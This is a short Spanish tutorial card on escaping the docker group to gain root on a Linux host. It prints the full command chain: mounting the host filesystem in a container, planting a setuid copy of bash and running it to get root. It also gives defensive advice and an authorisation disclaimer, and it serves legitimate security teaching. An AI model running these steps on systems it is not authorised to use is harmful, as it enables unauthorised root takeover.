KALI
Escapa del grupo docker
Si tu usuario está en el grupo docker, técnicamente ya eres root, aunque no lo parezca.
Verifícalo con el comando id. Como los contenedores corren con privilegios del anfitrión, arrancas uno que monte todo el disco del sistema, entras a él, y desde ahí modificas cualquier archivo del anfitrión, por ejemplo dándote un binario con permisos de root.
Estar en el grupo docker debe tratarse como acceso root total. Concédelo con muchísimo cuidado.
# los comandos
www-data@victim:$ idcopiaruid=1000(dev) groups=1000(dev),998(docker)
www-data@victim:$ docker run -v /:/mnt --rm -it alpine chroot /mnt shcopiar# cp /bin/bash /mnt/tmp/r && chmod +s /mnt/tmp/rcopiarwww-data@victim:$ /tmp/r -pcopiarr-5.1# id -> euid=0(root)
Solo con permiso. Esto se muestra con fines educativos y defensivos: úsalo únicamente en sistemas propios o donde tengas autorización. Entender el ataque es lo que te permite defenderte de él.